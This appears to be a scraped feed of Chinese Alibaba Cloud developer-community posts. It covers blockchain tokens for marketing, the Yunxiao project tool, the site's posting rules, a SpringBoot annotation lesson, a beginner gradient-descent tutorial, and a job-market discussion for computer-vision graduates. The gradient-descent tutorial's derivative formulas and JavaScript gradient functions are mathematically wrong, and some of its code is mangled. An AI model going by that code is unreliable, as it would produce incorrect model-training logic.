      “对不起,中小企业很难享受区块链的红利” -阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 区块链还没有出现千万级的应用,也不知道什么时候能出现、会不会出现?不过我们可以来看看一些区块链上的一些探索和机会。
      image.png

      作 者:易选型

      Ai(人工智能)作为去年的话题“头牌”贡献了很多新技术的探讨热度,但场景应用的单一性依然是过不去的坎儿。“AI做的事情需要企业投入很多,积累大量数据,但转化率能提升多少?并不一定能知道,它需要一个很长的迭代周期。”

      Kuickdeal创始人兼首席算法科学家崔超在易选型的活动中谈到新技术,他认为Ai的应用过程比较缓慢,大数据是不断积累不断应用才会越来越准确,所以对企业来说,这是一场持久战。

      但他却很看好区块链技术在营销的应用:“区块链可能会立竿见影,因为它是一个分布式账本或者一个分布式数据库,将带来越来越多的数据公开,比如司机的实时位置等,对于企业来说,可以获取到的数据也会越来越多,所以它对Ai也有非常有效的推动作用。”

      在大数据的成熟应用层面,区块链似乎承担着重要角色。但目前区块链带给人们的认知还多流于表面,比如分布式算法、去中心化、共识体系等等,除了发币好像再也找不出第二个能大规模应用的场景,如金沙江创投合伙人朱啸虎坦言:

      “区块链技术本身没有问题,但目前我没有看到一个必须使用这个技术的应用场景,这是一个最大的问题。曾鸣教授说,所谓风口的标志就是诞生一款千万日活的应用,这是一个重要的指标。之前移动互联网就是这样的,2007年出了第一代iPhone,2009年出现了第一款风靡全球的游戏“愤怒的小鸟”,这是非常标志性的事件。区块链最大的问题是除了炒币外没有用户在上面用。”

      那么区块链目前的进展情况如何?我们可以参照技术成熟度曲线,2017年Garter给出了一张5—10年的新兴技术成熟度曲线图,它将一项技术/创新发展到成熟期的过程中划分了五个阶段:创新萌发—过热—幻灭低谷—复苏—生产力成熟。

      image.png

      2017新兴技术成熟度曲线

      重点看一下区块链:它处于曲线图中期望和幻灭期之间,期望值更大,再往下是幻灭期,而下一阶段正是朱啸虎所说的“死亡谷”,要达到人们所期望的泡沫之后的成长期,至少需要2—5年,这和湖畔大学教育长曾鸣教授认为的“区块链目前的阶段大概在类似1990年左右的互联网,至少还得两三年的磨合才能孕育出成功的大应用”的判断大致吻合。

      image.png
      2017新兴技术的优先矩阵(来源:Gartner2017年7月)

      再看上图,若想成为主流,还需要5—10年的时间。

      也许“十年寒窗”不过如此。

      那么目前阶段,我们要关注什么?比起“币圈”的疯狂和泡沫,“链圈”从技术本身的突破和场景探索才是我们学习区块链的重点。

      一个大机会:营销上的突破

      还记得传统营销带来的无数品牌巨头,脑白金、加多宝等不胜枚举,而随着互联网和移动互联网的深化,新媒体促成了营销史上最百花齐放的时期,也随之带来无数经典营销案例,不知救活了多少传统品牌。

      新媒体营销的背后是是各种新技术的出现,比如裂变式营销、MA(营销自动化)、Ai(人工智能)等。

      那么区块链会给品牌营销带来怎样的机会?

      Kuickdeal创始人兼首席算法科学家崔超认为,从区块链的根上看,它将使品牌和用户之间的良性互动变得前所未有。大家有一种只有在中国才有的营销形式:裂变式电商,比如拼多多,一个月的流水30亿,这里有一个逻辑,用户管拼多多叫“买到就是赚到”。

      区块链给它带来的是可能你不需要花真金白银去补贴,你甚至可以把区块链和小程序放在一起做营销,本身用户在拼多多平台上买到就是赚了,如果他还能拿到奖励的话,就是赚两次,生命力会非常强。

      举个很简单的例子,过去非常烂大街的品牌积分,谁把积分当成有价值的东西?从来没见过在中国有一家互联网公司是做积分起来的,因为积分不可以跟人民币挂钩,游戏里有金币,我可以拿人民币买金币,但金币不可以换成人民币。

      另外一个问题,企业和企业之间都是中心化的,比如一家企业发行了一亿个积分,另一家也发行了一些,但彼此并不流通,永远不可能出现我的积分到你那去买东西,两家之间就无法结算,所以品牌之间也很难联合做营销。

      但区块链可以让企业之间的数据变得透明、可结算、可协同。营销可能会带来两个变化,裂变响应、企业协同,有可能是我们想象不到的一种爆发力。

      这种爆发力来源于谈区块链就离不开的一个词:“Token(通证)”。

      它是人们的共识、对品牌的认知和信任凝结成的一个数字化的东西。因此品牌天然有它的共识人群,所以要想办法和品牌的共识人群们有更好的互动。

      Token是区块链整个内推动力的核心,如果没有Token,就没有奖励机制,它是运转不起来的。

      湖畔大学教育长曾鸣教授在谈到区块链所面对的挑战时,也着重强调了Token和共识:“区块链技术本身目前能实现的共识,在推动社会协同方面的价值是非常有限的,还需要巨大的创新。当然,这也是大家强调Token的原因所在。

      比特币的成功和矿工的奖励机制的设计有直接的关系,所以需要通过利益机制的设计让大家愿意主动合作,同时还要考虑如何和区块链的技术优势结合。从简单的共识到实质性地降低交易成本,才是区块链应用未来成功的关键。”

      那么第一步该怎么做?企业要先去分析自己有哪些资产还没有被价格化。比如用户忠诚度、活跃度等。崔超举了一个例子:“比如通过Token结合裂变,用户来店面消费可以得到什么奖励、带两个朋友来可以得到什么奖励、在小程序里消费或拉朋友完成一次拼团可以得到什么样的Token奖励。

      再比如设计一些特殊权益,品牌代言人举办线下见面会,只有Token持有者才可以来现场。花那么多钱请的代言人怎么能用数字化的方式衡量?所以这些资产第一次有了数字化的机会。而甚至到时候有些人可能没有Token需要跟别人买,这个不是炒币的概念,是你要把它推成一种共识,共识最后凝结成Token,再用Token和客户互动。”

      在崔超的分享中我们了解到他们目前的第一批合作都是和零售相关的企业,不管是一个渠道还是品牌,最好有自己的电商,他们会提供基于Token的钱包,直接接电商,用户将多一种Token的支付方式。

      不过,在是否所有企业都可以做Token这有点上,可能会让很多企业灰心,他认为,并不是所有企业都可以做Token。“中小企业在这个地方有一个天然的短板,你可能只有500人,但有的品牌在5万人、500万人的量级时,中小企业就很难享受这方面的红利。不过享受到第一波红利的人也并不意味着一定会持续,也许未来会有机会。”

      关于区块链在企业营销的应用上,崔超将在正和岛易选型3月17号-18号的《数据驱动营收增长》课程中作深度分享,同时他也将围绕“新技术如何驱动企业的数据资产,完成获客与转化”的主题做详细讲解。扫码、阅读原文可了解详情/报名。

      技术点上的场景探索

      中小企业有没有机会我们见仁见智,但在区块链底层技术的探索上,我们不妨看看几个低头赶路者(BAT等巨头不在举例范围),他们的做法也许会带给企业不同的启发:

      比如,在原创保护上的应用,成立于2016年9月的原本,是利用区块链技术维护了一个永久不可更改的、基于时间戳记录的平台。它为原创作品生成不可改变的、准确的原创证明并同时记录到原本链上。任何人都可以通过关键字或DNA找到该内容的原创作者,而且无论怎样转载都可以找到它们的版权信息。

      比如,用区块链来支撑医疗健康数据进行分布式分析与交换的公司:边界智能,它运用区块链,让医院与医院间、医院与保险公司之间的医疗数据流动起来,化解数据孤岛导致的低效问题;并且通过人工智能技术提供智能化的服务。具体场景如重大疾病保险理赔、跨医院诊疗等。

      除了以上在商业场景里的部分探索,这里想举一个类似于以太坊(开源的有智能合约功能的公共区块链平台。通过它的专用加密货币“以太币”提供去中心化的虚拟机来处理点对点合约)这种做基础区块链的例子:

      一家美国二手电商交易平台5miles,它是曾任手机淘宝总经理、兰亭集势CTO的卢亮博士于2014年创办的。其16年总交易额超30亿美元、用户数超过1200万,覆盖美国15 +个城市。

      而5miles旗下5xlab实验室推出了智能商业合约区块链CyberMiles,上面可以快速地开发不同种类的商业智能合约,甚至一键完成。并且开发者还可以在建立各种c2c交易平台、B2C网站等。

      在支持智能合约的开发上,它建立了12个大类、371个小类的智能合约模版,涵盖各种场景,保险、贷款、订餐、担保交易、租赁等。比如你搭飞机时可以拿出智能合约的“机票延误险”模板,系统先取得航空的数据,你照常购买机票延误险,如果飞机延误,航空公司赔付的钱就会自动打给你,提高效率、减少纠纷。

      用大白话说,有了这些模板,以后类似的交易就不用再一个一个重新写新的智能合约,直接套用模板就行,这样更省时间、也更省成本。而模板的开发者也将在每次模板被使用的时候拿到代币奖励。

      瞧见没,按照这种设定,CMT(CM的代币)也将成为一种共识。而CM的第一步就是移植5miles的庞大数据。也许这种做公链的平台也为企业提供了一些机会。

      其实区块链的各种商业场景和探索阶段本文也仅仅浅显的介绍了一点点,大家都很期待的杀手级应用是什么、在哪里?也看不到任何端倪。但是,多了解多学习总不会错,5年之后,谁知道它会是什么样子呢?


      直接来源:https://www.sohu.com/a/225393329_378279
      来 源:易选型服务号(ID:yixuanxing001)

      综编自:
      颠覆BAT的新出路(硅谷密探)
      当满屏都是区块链暴富或泡沫时,我们只想安静地阐述几个事实(文:温泉/网易科技)·Cybermiles—首家链接现实商业场景的区块链平台(蓝狐笔记)

      Gartner《2017年度新兴技术成熟度曲线》(整理:上海市科学学研究所副研究员孟海华博士)

      一文看懂国内区块链产业,到底哪块最赚钱?(文:白开水、yingtao/创业家 )

      ]]>
      解放互联网项目管理瓶颈——阿里云效帮你搞定!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言:随着互联网的快速发展,各大项目的管理问题越来越受各大企业重视,同样项目管理问题也越来越制约互联网项目开发的效率。阿里巴巴技术开发团队致力于服务世界,解放劳动力,提高快捷化、自动化的高效办公理念——云效平台就应运而生。云效平台,创立于2012年  ,是阿里巴巴旗下一站式研发提效平台。通过项目流程管理和专项提效自动化工具  ,真正实现24小时持续集成持续交付,为企业赋能、助企业提效,为企业提供一站式 研发提效平台。
      一、云效平台网址:https://www.aliyun.com/product/yunxiao
      图片1.png

      二、进去可以根据自己的项目状况选择对应的产品服务:
      图片2.png

      可以新建任务和新建项目。
      图片3.png

      新建项目:
      图片4.png

      新建项目里面有各种场景需求:有产品研发,游戏研发,硬件研发等,基本涵盖了互联网开发的大部分领域,可以根据自己选择的场景建立对应的任务需求
      示例:
      假如选择精益产品开发类别创建一个自己想要的需求:
      图片5.png

      创建选择自己创建的分组,拉入相关的人员即可,完成创建即可创建具体的开发任务了:
      图片6.png

      填好自己的项目背景,用户标准,业务流程,和项目相关的优先级以及需求分类和对应的标签即可完成创建任务。
      发布任务:
      图片7.png

      任务发布后即可查看相关任务的领取状态,任务进度,截止信息等项目把控,有效解决项目管理带来的各种繁琐,从而提高项目开发过程中的项目把控。
      总结:
      本文介绍了如何通过向导快速搭建一套一站式研发协作环境,包含从提出需求,到代码实现,到构建、部署、测试,并最终发布上线所需的各个工具和功能。随后介绍了如何开始使用这套一站式环境,以及如何进一步配置它,满足企业实际研发交付场景的需求。总体体验跟禅道有点类似,都是快速有效的管理开发项目。需求管理提供需求管理工具,业务需求看板统一管理,以及需求流程审批,同时将业务需求阶段纳入项目流程管理。
      产品简介:亮点:解决产品需求不透明,需求跟进困难,需求状态不清晰等问题。
      立项管理项目立项前准备平台,用于项目资源的评估以及资源的管理跟进,以及项目的立项审批。亮点:解决项目投入产出不清晰,项目流程审批,工作量资源安排及跟进问题;打通配置管理进行项目实际立项开发。资源管理
      提供项目资源分配、统计、查看的功能。下游打通配置管理进行项目实际立项开发。亮点:通过各种视图宏观查看资源使用情况,把控业务投入方向。
      配置管理:SCM配置管理,集应用管理、代码管理、项目流程管理一体,解决代码仓库管理的问题。亮点:全自动化生成项目开发仓库地址,自动进行代码编译,冲突检测,代码合并等。
      单测集成对项目开发仓库地址进行代码变更监控,实时收到邮件反馈包括代码静态扫描,单测用例执行结果,代码覆盖率等集成结果。
      亮点:提供全自动、大规模的代码构建,实时监控代码变更、及时构建反馈结果的功能。
      环境管理:环境资源统一管理、提供环境一键申请、一键部署功能。
      亮点:服务器可分组管理,进行批量操作;可通过平台调度服务器脚本进行一键自动部署环境。
      希望大家尝试。
      【云效官网】https://www.aliyun.com/product/yunxiao?channel=zhibo
      【云效开发者俱乐部】钉群:34532418

      ]]>
      阿里云开发者社区博文发布操作和规则说明 -阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、发文前的准备

      为了保证社区内容的质量,在发布博文之前需要完成 开发者认证实名认证 。以下内容均建立在已完成该认证的基础上进行。

      二、博文内容规范

      1、什么内容在开发者社区更受欢迎?

      技术方向、有实践价值、对开发者有帮助的内容。文章主题包含并不限于以下方向:
      (1)可供开发者学习的内容:面向各类开发者的基础、进阶、高阶内容均可,有一定技术影响力的文章;
      (2)进阶之路心得体会:技术进阶之路、项目管理经技巧解读、自身职位进阶经验分享;
      (3)正版资料:开源、免费资料下载;
      (4)热点新闻:拒绝产品热点,要有社会热度的新闻事件结合阿里云传播;
      (5)品牌传播:重量级事件(拒绝纯pr稿)

      2、什么内容在开发者社区不受欢迎?

      空泛、缺乏必要引用标注、偏离技术讨论、敷衍、给其他网站或社群导流、软文传播、非原创、恶意信息等,均不适合开发者社区。包含但不仅限于以下情况:
      (1)无价值内容:软文传播,文章内容不知所云、晦涩难懂、措辞敷衍;
      (2)无技术讨论:偏离技术范畴,不符合开发者社区定位;
      (3)类机器人推广:拼凑内容,附带推广性外链,复制粘贴痕迹大;
      (4)信息不完整:文章内容/代码/图片等信息不全,造成读者困扰;
      (5)植入广告:活动广告植入,影响读者体验的;
      (6)排版混乱:排版/标点符号/字号/颜色使用不当,导致读者阅读体验大打折扣;
      (7)标题党:夸张化的标题,搭配拼凑、无价值或不符合标题的内容;

      3、注意事项

      尊重版权

      社区一直以来高度重视知识产权保护,将保护知识产权作为运营的基本原则之一。博主和专家们在发布内容时也需要严谨对待版权问题:
      • 发布博文时,请严格勾选原创、转载、翻译;
      • 引用内容时,需要链接到原文,或在博文末尾标注引用内容的出处;
      • 使用非原创图片时,需注明图片来源,请勿使用明星等容易引发争议的图片。

      技术价值

      开发者认可的优质内容具有以下四个特点:
      内容丰富:包含文字与图片,内容必要的解释,代码必要的说明,思路的解释等。建议字数超过500字,避免敷衍,我们欢迎详实的分享,而非片段的记录;
      角度明确:有观点,有实践。有些博主广泛转载资讯新闻,对开发者而言意义不大;
      阐述深入:专业、有深度地阐述,提供有帮助和参考价值的内容;

      细节体验

      良好而专业的内容,让博主和读者都能心情更加愉快。优化文章的阅读体验有以下几点:
      排版清晰:适当地分段或使用小标题,使内容更易读;
      语法规范:文法、标点符号、大小写等使用正确;
      代码整洁:整洁利落的代码是优质开发者内容的特点;
      图文并茂:恰当地利用图片和文字进行结合描述,使读者更易看懂。

      内容基调

      内容健康、积极向上、切合开发者阅读习惯是优质博文的基础。如果涉及以下情况,博文可能会遭到删除:
      违法违规:博文内有涉及任何违法言论和内容、提供盗版破解资料以及其他任何违法违规情况;
      无效信息和引流:软文推广,无有价值信息,或是单纯向站外引流;
      频繁商业活动:仅发布各类产品的购买渠道、优惠券领取等商业活动。

      三、发布文章

      在开发者社区发布博文有两种方式:
      1、不发布至指定技术圈,文章进入到首页的9大技术领域,以feed流的形式展示给社区读者。
      2、发布在指定的技术圈

      1、不发布至指定技术圈

      在社区首页右上角选择“发文章”,点击进入发文页面:
      image.png
      发文页面:
      image.png
      编辑完成之后选择“发布文章”即可,不要忘记选择文章类型哦~

      发布在指定的技术圈

      点击 此处链接 选择申请成为某技术圈作者,运营同学审核通过后可以在该技术圈发文!
      image.png
      获取权限后打开需要发布的技术圈,点击技术圈内的“发布文章”(注意:不是菜单栏的发文章)即可。
      image.png
      发布完成后如果出现待审核提示,等待审核完成刷新页面即可。

      ]]>
      SpringBootApplication注解 | 带你读《SpringBoot实战教程》之六-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文来自于千锋教育在阿里云开发者社区学习中心上线课程《SpringBoot实战教程》,主讲人杨红艳,点击查看视频内容

      15.@SpringBootApplication注解

      应该把启动方法放在一个单独的类当中,这个类就称为启动类。
      首先,我们建立一个启动类。
      image.png

      把启动方法拿过来。我们看一下启动类能否正常启动:
      我们需要通过一个注解把controller的包告诉启动类。
      image.png
      这样SpringBoot在扫描到这个controller,再次启动后访问正常。
      我们把启动方法单独出来,用到了两个注解。
      image.png

      该注解是一个组合注解。
      image.png
      重新启动后,正常访问。

      回到controller,我们经常会使用到ResponseBody。
      说明返回的是Restful内容,不使用该注解会跳转。
      image.png
      该controller的两个功能都是希望返回的内容是Restful内容,并不希望进行跳转。这种情况下,需要把controller改成Restcontroller,这样就i无需每个方法前边加ResponseBody注解了。
      image.png

      SpringBoot同样支持Rest风格。
      image.png

      访问之后传递一个值。显示如下:
      image.png

      ]]>
      零基础入门机器学习:如何识别一只猫?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

      一 是什么是机器学习,为什么我们要机器学习

      什么是机器学习

      先看两个例子:

      我们是如何习得“猫”这个动物的?

      想象一下一个从来没有见过猫的人(比如一个小婴儿),他的词汇里面甚至没有猫这个词。有一天他看到了一个毛茸茸的动物:

      image.png

      这时候他不知道这是什么东西,你告诉他这是 ”猫“。这时候可能小婴儿记住了,这个就是猫。

      又过了段时间他又看见了这样一个动物:

      image.png

      你又告诉他这也是猫。他记住了这也是猫。

      后来又过了段时间,他又看见了一个动物:

      image.png

      这时他直接告诉你他看见了一只“猫”。

      以上就是我们认识世界的基本方法,模式识别:人们通过大量的经验,得到结论,从而判断它就是猫。

      在这个过程中我们通过接触样本(各种猫)学习到了猫的特征(人们通过阅读进行学习,观察它会叫、两只耳朵、四条腿、一条尾巴、有胡须,得到结论),从而知道什么是猫。

      我们如何知道 npm 包判断一个 npm 包是测试 npm 包呢?

      我贴一段小伙伴的代码:

      SELECT * FROM
        tianma.module_xx
      WHERE
        pt = TO_CHAR(DATEADD(GETDATE(), - 1, ‘dd’), ‘yyyymmdd’)
        AND name NOT LIKE ‘%test%’
        AND name NOT LIKE ‘%demo%’
        AND name NOT LIKE ‘%测试%’
        AND keywords NOT LIKE ‘%test%’
        AND keywords NOT LIKE ‘%测试%’
        AND keywords NOT LIKE ‘%demo%’

      很明显我们判断的方式是这个模块的名称和关键字中是否包含:test、demo、测试这三个字符。如果有那么我们就认为他是测试模块。我们把规则告诉了数据库,然后数据库就帮我们筛选了非测试模块。

      识别是否是猫或者识别一个模块是否是测试模块本质上是一样的,都是在找特征:

      • 猫的特征:会叫、两只耳朵、四条腿、一条尾巴、有胡须
      • 测试模块的特征:test、demo、测试

      再进一步将特征程序化表述:

      • 猫的特征 叫:true、耳朵:2、腿:4、尾巴:1、胡须:10
      • 测试模块的特征:test:count>0、demo:count >0、测试:count > 0

      有了这些特征无论是人还是机器都能正确的识别猫或者测试模块了。

      简单的理解机器学习就是通过特征和特征的权重来实现数据的分类。(此处为了便于理解,更准确说法请参考:AiLearning/1.机器学习基础.md at master · apachecn/AiLearning · GitHub)

      为什么要用机器识别呢?

      原因是当某种分类任务的特征数量巨大之后我们就很难用 if else 的方法去做简单的分类了。比如我们常见的商品推荐算法,要确定某个商品是否适合推荐给某人可能的特征数量会达到上百上千个。

      二 如何训练机器,并获得模型?

      准备数据

      数据的准备在整个机器学习的任务中时间占比可能超过 75%,是最重要的一部分,也是最困难的一部分。主要是:

      1. 采集基本的数据
      2. 清理异常值
      3. 挑选可能的特征:特征工程
      4. 数据打标

      准备算法

      让你的数据进行拟合的一个函数:y=f(x)

      比如线性函数也就是一元一次函数:y=ax+b

      评估算法

      如何确定找到的 a、b 值是否合适,那就需要一个评估函数。

      评估函数描述训练得到的参数和实际的值之前的差距(损失值)。比如下图:

      image.png

      右边的蓝色线条更加贴近真实的数据点。

      最常见的损失评估函数就是均方误差函数了。通过计算预测的值和真实值的差的平方和来判断预测值的优劣程度。

      如上图:样本黄色的小圆圈坐标为:

      [

      [x1, y1],
      [x2, y2],
      [x3, y3],
      [x4, y4],
      [x5, y5],
      [x6, y6]

      ],

      蓝色的线预测的坐标为:

      [

      [x1, y’1],
      [x2, y‘2],
      [x3, y’3],
      [x4, y‘4],
      [x5, y’5],
      [x6, y‘6]

      ],

      那么损失值为:

      const cost = ((y’1-y1)^2 + (y’2-y2)^2 + (y’3-y3)^2 + (y’4-y4)^2 + (y’5-y5)^2 + (y’6-y6)^2 ) / 6

      训练算法

      如何找到合适的 a、b 值:抛物线的最低端

      以上述的线性函数为例,训练算法实际上就是在寻找合适的 a,b 值。如果我们在茫茫的数字海洋中随机寻找 a,b 的值那应该是永远找不到的了。这时候我们就需要用到梯度下降算法来寻找 a,b 值了。

      再明确一下目标,将上述的损失值计算公式替换为:y=ax+b

      // 函数 2
      const cost = (((a*x1+b)-y1)^2 + ((a*x2+b)-y2)^2 + ((a*x3+b)-y3)^2 + ((a*x4+b)-y4)^2 + ((a*x5+b)-y5)^2 + ((a*x6+b)-y6)^2 )/ 6

      目标是找到一组 a、b 的值使得 cost 最小。有了这个目标就好办多了。

      不知道你还记不记得初中的抛物线函数,也就是一元二次方程:y = ax^2+bx+c

      而我们上述的 cost 函数虽然看起来很长,但是正好也是一个二次函数。它的图大概是这样的:

      image.png

      只要我们找到最低点的 a,b 值就完成我们的目标了。

      怎么知道到达抛物线的低端:抛物线的低端斜率为 0

      假设我们随机初始化一个 a 值为 1, 这时我们的点就在抛物线的左上方位置,距离最低点(cost 最小)的位置还距离很远呢。

      看图可知我们只要增加 a 的值就可以靠近最低点了。那看图机器可不会,这时候我们要祭出本篇文章中最复杂的数学知识了:导数。在这个点上的切线斜率值即为这个抛物线的导数,如上图最低点(斜率为 0 处)。

      通过这个导数可以计算出这个位置的切线(红色的斜线)斜率。如果这个斜线的斜率为负数就意味着 a 太小了,需要增加才能更靠近底部。反之如果斜率为正意味着过了最低点了,需要减少才能更靠近底部。

      如何求 cost 函数的导数呢?

      不展开了,直接看代码吧。关键字:偏导数、复合求导

      // 函数 3
      // a参数的偏导数
      const costDaoA = (((a*x1+b)-y1)*2*x1 + ((a*x2+b)-y2)*2*x1 + ((a*x3+b)-y3)*2*x1 + ((a*x4+b)-y4)*2*x1 + ((a*x5+b)-y5)*2*x1 + ((a*x6+b)-y6)*2*x1 )/ 6
      
      // b参数的偏导数
      const costDaoB = (((a*x1+b)-y1)*2 + ((a*x2+b)-y2)*2 + ((a*x3+b)-y3)*2 + ((a*x4+b)-y4)*2 + ((a*x5+b)-y5)*2 + ((a*x6+b)-y6)*2 )/ 6

      也就是只要将 a,b 值带入 costDaoA 函数就可以得到一个斜率,这个斜率指导参数 a 该如何调整以便更靠近底部。

      同理 costDaoB 指导参数 b 改如何靠近底部。

      循环 500 次吧

      就这样循环 500 次,基本上就能非常靠近底部了,从而获得合适的 a,b 值。

      获得模型

      当你获得了 a,b 值之后,那么我们就获得了 y=ax+b 这样一个模型,这个模型就可以帮助我们做预测了。

      三 实践一下先从简单的开始:线性回归

      什么是线性回归

      人们早就知晓 ,相比凉爽的天气,蟋蟀在较为炎热的天气里鸣叫更为频繁。我们记录了气温和每分钟叫声的一个表格,并且在 Excel 中绘制了下图(案例来自 google tf 的官方教程):

      image.png

      是不是很清晰,这些小红点几乎排在了一条直线上:

      image.png

      那么我们就认为这些数据的分布是线性的,绘制的这条直线的过程就是线性回归。有了这条曲线我们就能准确的预测任何问题下鸣叫的次数了。

      用浏览器做一个线性回归演示

      地址:测试梯度下降
      https://jshare.com.cn/feeqi/CtGy0a/share?spm=ata.13261165.0.0.6d8c3ebfIOhvAq

      image.png

      为了可视化采用了 highcharts 做数据可视化,同时为了省下 75% 的时间直接用了 highcharts 的默认数据点:
      https://www.highcharts.com.cn/demo/highcharts/scatter

      当训练完成后绘制了一条蓝色的线叠加在了图上,同时增加了每次训练的 a,b 值的损失率曲线。

      代码介绍

      /**
      
      * 代价函数 均方差计算
      
      */
      
      function cost(a, b) {
      
          let sum = data.reduce((pre, current) = >{
      
              return pre + ((a + current[0] * b) - current[1]) * ((a + current[0] * b) - current[1]);
      
          },
          0);
      
          return sum / 2 / data.length;
      
      }
      
      /**
      
      * 计算梯度
      
      * @param a
      
      * @param b
      
      */
      
      function gradientA(a, b) {
      
          let sum = data.reduce((pre, current) = >{
      
              return pre + ((a + current[0] * b) - current[1]) * (a + current[0] * b);
      
          },
          0);
      
          return sum / data.length;
      
      }
      
      function gradientB(a, b) {
      
          let sum = data.reduce((pre, current) = >{
      
              return pre + ((a + current[0] * b) - current[1]);
      
          },
          0);
      
          return sum / data.length;
      
      }
      
      // 训练次数
      let batch = 200;
      
      // 每次的靠近底部的速度,也就是学习速率。过高会导致在底部弹跳迟迟不能到到底部,过低会导致学习效率降低。
      let alpha = 0.001;
      
      let args = [0, 0]; // 初始化 a b 值
      function step() {
      
          let costNumber = (cost(args[0], args[1]));
      
          console.log(‘cost’, costNumber);
      
          chartLoss.series[0].addPoint(costNumber, true, false, false);
      
          args[0] -= alpha * gradientA(args[0], args[1]);
      
          args[1] -= alpha * gradientB(args[0], args[1]);
      
          if ((—batch > 0)) {
      
              window.requestAnimationFrame(() = >{
                  step()
              });
      
          } else {
      
              drawLine(args[0], args[1]);
      
          }
      
      }
      
      step();

      四 接下来要做的

      当特征更多的时候,我们需要更多的计算、更长时间的训练来获得训练模型。

      上述描述都比较简单,但是相信机器学习对你已经不再神秘,那么可以参考更专业的入门文章。

      参考
      [1] GitHub - apachecn/AiLearning: AiLearning: 机器学习 - MachineLearning - ML、深度学习 - DeepLearning - DL、自然语言处理 NLP

      [2] https://developers.google.com/machine-learning/crash-course/descending-into-ml/video-lecture?hl=zh-cn
      [3] 从 0 开始机器学习 - 手把手用 Python 实现梯度下降法!- 掘金

      福利来了 | 阿里云 AI 视觉训练营

      加入阿里云高校计划 AI 视觉训练营,与达摩院视觉导师亲密接触。五天时间玩转身份证识别应用、电子相册应用、图像识别项目、车辆识别项目。

      识别下方二维码或点击“阅读原文”马上参与:
      image.png

      ]]>
      知乎高赞:985计算机视觉毕业后找不到工作怎么办?怒刷leetcode,还是另寻他路? Fri, 02 May 2025 09:39:04 +0800

      --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

      image.png

      985 研究生,学计算机视觉,出来后找不到工作?本文带你看看这个 70 万浏览量问题下的答案干货:找工作难,是因为前两年 AI 领域泡沫太大。然而,真正的人才什么时候都紧缺,搞扎实自己的基本功比什么都重要。心态放平,好好刷 leetcode,好 offer 总在不远处。

      计算机视觉毕业后找不到工作怎么办?

      AI 专业毕业后是不是找不到工作?近日,有知乎网友提问,获得了 70 万阅读量。

      image.png

      我们来看看他的履历:

      本人目前是 985 高校研究生,方向是计算机视觉。成绩中等,无论文,无比赛经历,有项目经历。编程基础还可以,自认为在教研室算好的了,python 用得比较熟,C++ 也会一点,PyTorch, TensorFlow,Keras 等框架也用的还可以。

      当初选择该方向时,深度学习正处于大热阶段,什么无人驾驶,人脸识别听起来就很高大上,似乎人人都想往这方向转。

      听起来是不是和正在看这篇文章的你很像?

      然而,到了找工作的时候,这哥们发现就业形式和他想的相差太大:

      最近陆陆续续有公司开始秋招的提前批了,计算机视觉岗位招的清一色算法工程师,没有论文,或者大赛获奖的找到算法岗的简直不要太难,周围的同学都开始纷纷转 Java 开发,自己也开始慌了。

      想到学了两年的 cv,最后工作都找不到,一时间十分失落,感觉如果去做 Java 开发,还不如本科一毕业就出去工作,完全没有读研的必要。

      所以我想问的是现在跟深度学习,机器学习相关的专业,是不是都快烂大街了?AI 的大规模发展是不是只是个幻觉?

      大环境:前两年的泡沫太大

      从就业市场大环境来看,主要原因是前两年 AI 大火,导致许多人转行入坑,泡沫太大,导致如今找工作难。

      排名第一的知友 @zhongyian 说:

      这个人才领域前些年泡沫太大,不是现在算法突然不好找工作了,而是之前太容易了。

      知友@mileistone说:

      现在市场出现了一个看起来很矛盾的现象,招聘公司觉得计算机视觉算法工程师难招;计算机视觉算法工程师应聘者觉得工作难找。

      前几年因为人工智能大火,非常多人转行进入计算机视觉领域,供给远远大于需求,给应聘者以工作难找的感觉。

      另一方面,这突然转行涌入计算机视觉领域的人才大部分能力不太够,毕竟隔行如隔山,有效供给其实并没有因为大量人才转行涌入这个领域而变多,所以公司觉得计算机视觉算法工程师难招。

      另一名匿名用户说:

      现在的情况是cvpr,nips等会议投稿量暴增,很多有paper的都不一定能进相关岗位,一作除外,那种有竞争力的。

      还是要把自己的基本功搞扎实,真正的人才什么时候都紧缺

      知友们普遍认为,好不好找工作和你选择学Java还是CV无关,算法没有高下之分,企业只看个人水平。不要沉浸在985、或是学CV比Java高级的幻想中,自己基础咋样自己还没点儿数?

      知友@hzwer说:

      当我们说 AI 人才缺口的时候,是说能独当一面的人太少。不论毕业院校,没有拿的出手的比赛论文项目经历,直接拿到算法岗 offer 不可能。企业招这样的人又贵又没有战斗力,不如招本科实习生培养。

      知友@theHunter说得更直白:

      image.png

      一位匿名用户认为,基础算法能力非常重要:

      算法能力真的很重要,就问一下那些跨专业搞 ML DL CV NLP……的同学,你知道 DP 是啥不?贪心?分治?我认识的很多跨专业的同学根本不知道。我觉得最错误的是把 ML当作一个独立的领域,而不是一个计算机从业人员应有的能力。这样就导致同学们只知道 ML,而不去考虑 CS 基础。

      一名匿名用户说:

      我周围很多非计算机科班出身的人,做开发对他们而言难度和跨度都太大。

      相比较之下,学个 python,看看论文,找个开源项目改吧改吧就能跑出个结果,反而更容易。

      毕竟算法对他们而言唯一的区别就是原来要写 Matlab,而现在变成了 python。这样的人如果不是理论水平特别特别高,我不知道企业招进去有什么用。所以现在招人也聪明了,上来就 leetcode 甩脸,medium,hard 整起来。所以我觉得你如果还想找到比较好的岗位,就先把 leetcode 刷出来。

      同样,一家开发公司的员工@Jarvix 在下面实名怒答:

      image.png

      排名第一的知友 @zhongyian 的回答:

      首先,开发岗和算法岗无高低贵贱之分。

      往大了说,任何工种都是平等的,更何况都是程序员;往小了说,算法工程师本上还是工程师,是开发的一种。开发方面大佬也多的是,只是最近算法比较火,但是未来还真不好说。

      其次,算法分两种岗位,一种是算法岗,做建模工作,发发文章;一种是开发岗,负责研究岗研究出的算法的落地,会涉及到数据清洗,特征工程,开发上线等工作。

      工业界用的算法是滞后于学术界好几年的,不要对公司所做的算法有太多的幻想,现实数据比你想的质量差太多,现实用的算法也没有那么高端。也就是说,大部分时间不是用在建模。

      再次,为什么现在现在算法不好找工作了?

      倒也不是劝退,其实公司也是有算法工程师的缺口的,遇到的好几个 hr 都说,收到几百份简历,但是没什么匹配的。所以说做算法的人多是真的,可是需要做算法的人也是真的。矛盾点在于供需不匹配。

